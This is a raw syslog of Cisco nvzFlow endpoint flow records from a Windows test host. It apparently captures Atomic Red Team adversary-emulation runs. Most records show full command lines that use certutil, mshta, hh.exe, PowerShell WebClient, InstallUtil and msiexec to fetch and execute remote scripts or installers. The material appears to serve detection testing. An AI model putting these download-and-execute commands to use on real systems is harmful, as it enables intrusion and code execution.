Jun 24 12:57:52 127.0.0.1 Jun 24 12:57:52 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52269" da="185.199.111.133" dp="443" fd="1" fss="1750769851" fst="Tue Jun 24 12:57:31 2025" fes="1750769851" fet="Tue Jun 24 12:57:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certutil.exe" ph="A9A2924066D5CD98ADD23D53315EFC7B883CDDD292BA446642E3220BBA510B84" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1750769851893" fems="1750769851898" pid="8820" ppath="C:\Windows\system32\certutil.exe" parg=" -verifyctl -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="C65FFE3708C286F48A4C7B588FF27CE7"
Jun 24 15:30:57 127.0.0.1 Jun 24 15:30:57 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52875" da="172.16.3.110" dp="8000" fd="1" fss="1750779042" fst="Tue Jun 24 15:30:42 2025" fes="1750779042" fet="Tue Jun 24 15:30:42 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="mshta.exe" ph="6837FB3E31B5BD17268EA0D1A51E4BEDB5CCB0A05A43847FB92A2483F06D603E" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1750779042068" fems="1750779042068" pid="9924" ppath="C:\Windows\system32\mshta.exe" parg=" javascript:a=GetObject(\"script:http://172.16.3.110:8000/Default_File_Path.ps1\").Exec();close();" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="773D9D2ECFBF875781F6E05BBCF13F16"
Jun 24 15:53:49 127.0.0.1 Jun 24 15:53:49 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="53015" da="172.16.3.110" dp="8000" fd="1" fss="1750780413" fst="Tue Jun 24 15:53:33 2025" fes="1750780413" fet="Tue Jun 24 15:53:33 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="hh.exe" ph="39811F6070E82E9AA67A4D3E6153A7CD70519DBBAC36067157C573E2F736AA9E" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1750780413961" fems="1750780413961" pid="5680" ppath="C:\Windows\hh.exe" parg=" http://172.16.3.110:8000/T1218.001" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="8E1683D2CE208E9F98D592B46DF29ABD"
Jun 24 15:53:39 127.0.0.1 Jun 24 15:53:39 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="53014" da="172.16.3.110" dp="8000" fd="1" fss="1750780413" fst="Tue Jun 24 15:53:33 2025" fes="1750780413" fet="Tue Jun 24 15:53:33 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="hh.exe" ph="39811F6070E82E9AA67A4D3E6153A7CD70519DBBAC36067157C573E2F736AA9E" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1750780413961" fems="1750780413961" pid="5680" ppath="C:\Windows\hh.exe" parg=" http://172.16.3.110:8000/T1218.001" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="8E1683D2CE208E9F98D592B46DF29ABD"
Jun 24 15:52:18 127.0.0.1 Jun 24 15:52:18 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="53007" da="172.16.3.110" dp="8000" fd="1" fss="1750780323" fst="Tue Jun 24 15:52:03 2025" fes="1750780323" fet="Tue Jun 24 15:52:03 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="hh.exe" ph="39811F6070E82E9AA67A4D3E6153A7CD70519DBBAC36067157C573E2F736AA9E" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1750780323009" fems="1750780323009" pid="10060" ppath="C:\Windows\hh.exe" parg=" http://172.16.3.110:8000/T1218.001" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="90B40FC844408E05903AB21A059E1B76"
Jun 24 15:52:02 127.0.0.1 Jun 24 15:52:02 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="53003" da="172.16.3.110" dp="8000" fd="1" fss="1750780300" fst="Tue Jun 24 15:51:40 2025" fes="1750780300" fet="Tue Jun 24 15:51:40 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="hh.exe" ph="39811F6070E82E9AA67A4D3E6153A7CD70519DBBAC36067157C573E2F736AA9E" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1750780300315" fems="1750780300315" pid="9572" ppath="C:\Windows\hh.exe" parg=" http://172.16.3.110:8000/T1218.001" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="130A6416751D83EF9B38885917F7F59E"
Jun 23 10:36:54 127.0.0.1 Jun 23 10:36:54 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41974" da="67.199.248.10" dp="80" fd="1" fss="1750674964" fst="Mon Jun 23 10:36:04 2025" fes="1750674964" fet="Mon Jun 23 10:36:04 2025" hh="bit.ly" hm="GET" ht="/L3g1tCrad1e" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="powershell.exe" ph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="powershell.exe" pph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ibc="5855" obc="67" ds="us-east-2.compute.internal" dh="bit.ly" iid="4" mnl="''" mhl="''" fsms="1750674964284" fems="1750674964348" pid="1892" ppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" parg="-Command \"(New-Object Net.WebClient).DownloadFile(    'http://bit.ly/L3g1tCrad1e',    'Default_File_Path.ps1')\"" ppid="4900" pppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="D9653B5903C18754918CF8B9D3524EAA"
Jun 23 10:36:34 127.0.0.1 Jun 23 10:36:34 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41974" da="67.199.248.10" dp="80" fd="1" fss="1750674964" fst="Mon Jun 23 10:36:04 2025" fes="1750674964" fet="Mon Jun 23 10:36:04 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="powershell.exe" ph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="powershell.exe" pph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="bit.ly" iid="4" mnl="''" mhl="''" fsms="1750674964284" fems="1750674964284" pid="1892" ppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" parg="-Command \"(New-Object Net.WebClient).DownloadFile(    'http://bit.ly/L3g1tCrad1e',    'Default_File_Path.ps1')\"" ppid="4900" pppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="D9653B5903C18754918CF8B9D3524EAA"
Jun 23 10:31:29 127.0.0.1 Jun 23 10:31:29 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41935" da="67.199.248.11" dp="80" fd="1" fss="1750674653" fst="Mon Jun 23 10:30:53 2025" fes="1750674653" fet="Mon Jun 23 10:30:53 2025" hh="bit.ly" hm="GET" ht="/L3g1tCrad1e" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="powershell.exe" ph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="powershell.exe" pph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ibc="5855" obc="67" ds="us-east-2.compute.internal" dh="bit.ly" iid="4" mnl="''" mhl="''" fsms="1750674653858" fems="1750674653929" pid="3776" ppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" parg="-c \"(New-Object Net.WebClient).DownloadFile(    'http://bit.ly/L3g1tCrad1e',    'Default_File_Path.ps1')\"" ppid="4900" pppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="6A47BFC69CB983E4861A3AF79253D3AF"
Jun 23 10:31:14 127.0.0.1 Jun 23 10:31:14 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41935" da="67.199.248.11" dp="80" fd="1" fss="1750674653" fst="Mon Jun 23 10:30:53 2025" fes="1750674653" fet="Mon Jun 23 10:30:53 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="powershell.exe" ph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="powershell.exe" pph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="bit.ly" iid="4" mnl="''" mhl="''" fsms="1750674653858" fems="1750674653858" pid="3776" ppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" parg="-c \"(New-Object Net.WebClient).DownloadFile(    'http://bit.ly/L3g1tCrad1e',    'Default_File_Path.ps1')\"" ppid="4900" pppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="6A47BFC69CB983E4861A3AF79253D3AF"
Jun 23 10:09:49 127.0.0.1 Jun 23 10:09:49 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41837" da="67.199.248.11" dp="80" fd="1" fss="1750673348" fst="Mon Jun 23 10:09:08 2025" fes="1750673348" fet="Mon Jun 23 10:09:08 2025" hh="bit.ly" hm="GET" ht="/L3g1tCrad1e" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="powershell.exe" ph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="powershell.exe" pph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ibc="5855" obc="67" ds="us-east-2.compute.internal" dh="bit.ly" iid="4" mnl="''" mhl="''" fsms="1750673348700" fems="1750673348758" pid="380" ppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" parg="-c \"(New-Object Net.WebClient).DownloadFile(
    'http://bit.ly/L3g1tCrad1e',
    'Default_File_Path.ps1'
)\"" ppid="4900" pppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="969A6E16EB768BCB986F41F351F1A81D"
Jun 23 10:09:34 127.0.0.1 Jun 23 10:09:34 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41837" da="67.199.248.11" dp="80" fd="1" fss="1750673348" fst="Mon Jun 23 10:09:08 2025" fes="1750673348" fet="Mon Jun 23 10:09:08 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="powershell.exe" ph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="powershell.exe" pph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="bit.ly" iid="4" mnl="''" mhl="''" fsms="1750673348700" fems="1750673348700" pid="380" ppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" parg="-c \"(New-Object Net.WebClient).DownloadFile(
)\"" ppid="4900" pppath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="969A6E16EB768BCB986F41F351F1A81D"
Jun 25 10:20:49 127.0.0.1 Jun 25 10:20:49 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="60795" da6="::ffff:172.16.3.1" dp="80" fd="1" fss="1750846849" fst="Wed Jun 25 10:20:49 2025" fes="1750846849" fet="Wed Jun 25 10:20:49 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846849101" fems="1750846849101" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 25 10:20:34 127.0.0.1 Jun 25 10:20:34 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="58973" da="172.16.3.240" dp="80" fd="1" fss="1750846834" fst="Wed Jun 25 10:20:34 2025" fes="1750846834" fet="Wed Jun 25 10:20:34 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1750846834548" fems="1750846834548" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 25 10:20:33 127.0.0.1 Jun 25 10:20:33 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="58782" da6="::ffff:172.16.3.110" dp="443" fd="1" fss="1750846833" fst="Wed Jun 25 10:20:33 2025" fes="1750846833" fet="Wed Jun 25 10:20:33 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846833767" fems="1750846833767" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 25 10:20:51 127.0.0.1 Jun 25 10:20:51 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="61821" da6="::ffff:172.16.3.10" dp="443" fd="1" fss="1750846851" fst="Wed Jun 25 10:20:51 2025" fes="1750846851" fet="Wed Jun 25 10:20:51 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846851140" fems="1750846851140" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 26 12:21:23 127.0.0.1 Jun 26 12:21:23 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="4323" da="172.16.3.110" dp="80" fd="1" fss="1750940465" fst="Thu Jun 26 12:21:05 2025" fes="1750940465" fet="Thu Jun 26 12:21:05 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="InstallUtil.exe" ph="774ADCEF9CEBC4B12C2C10D0A05ED3D4F59F739DB38700E4A763085B8146137E" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1750940465544" fems="1750940465544" pid="8664" ppath="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe" parg=" http://172.16.3.110/file.exe" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="782188731F64860FBDBE34BB910AB02F"
Jun 26 16:09:38 127.0.0.1 Jun 26 16:09:38 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="5206" da="172.16.3.110" dp="80" fd="1" fss="1750954152" fst="Thu Jun 26 16:09:12 2025" fes="1750954152" fet="Thu Jun 26 16:09:12 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="23EC37A4DF21893A1B3B6F5F72B2D78918E86C3A90F9664F8248A2C8219F889A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1750954152549" fems="1750954152549" pid="8728" ppath="C:\Windows\system32\msiexec.exe" parg=" /i http://172.16.3.110/file.exe" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="EB21B2E38472855C9F0D403AC59DEAB0"
Jun 26 16:09:23 127.0.0.1 Jun 26 16:09:23 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="0.0.0.0" sp="5205" da="172.16.3.110" dp="80" fd="1" fss="1750954149" fst="Thu Jun 26 16:09:09 2025" fes="1750954149" fet="Thu Jun 26 16:09:09 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="23EC37A4DF21893A1B3B6F5F72B2D78918E86C3A90F9664F8248A2C8219F889A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750954149042" fems="1750954149042" pid="6908" ppath="C:\Windows\system32\msiexec.exe" parg=" /i http://172.16.3.110/file.exe" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="36358AC7BAAD86E6B7F4BDE812DC8CA6"
Jun 26 16:09:18 127.0.0.1 Jun 26 16:09:18 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="5203" da="140.82.112.3" dp="443" fd="1" fss="1750954134" fst="Thu Jun 26 16:08:54 2025" fes="1750954134" fet="Thu Jun 26 16:08:54 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="23EC37A4DF21893A1B3B6F5F72B2D78918E86C3A90F9664F8248A2C8219F889A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="15127" obc="544" ds="us-east-2.compute.internal" dh="github.com" iid="4" mnl="''" mhl="''" fsms="1750954134331" fems="1750954134395" pid="8496" ppath="C:\Windows\system32\msiexec.exe" parg=" /i \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/T1218.007_JScript.msi\"" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="071161F29663831BB4A1C0FADA9805E0"
Jun 26 16:09:18 127.0.0.1 Jun 26 16:09:18 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="5203" da="140.82.112.3" dp="443" fd="1" fss="1750954134" fst="Thu Jun 26 16:08:54 2025" fes="1750954134" fet="Thu Jun 26 16:08:54 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="23EC37A4DF21893A1B3B6F5F72B2D78918E86C3A90F9664F8248A2C8219F889A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="github.com" iid="4" mnl="''" mhl="''" fsms="1750954134331" fems="1750954134340" pid="8496" ppath="C:\Windows\system32\msiexec.exe" parg=" /i \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/T1218.007_JScript.msi\"" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="071161F29663831BB4A1C0FADA9805E0"
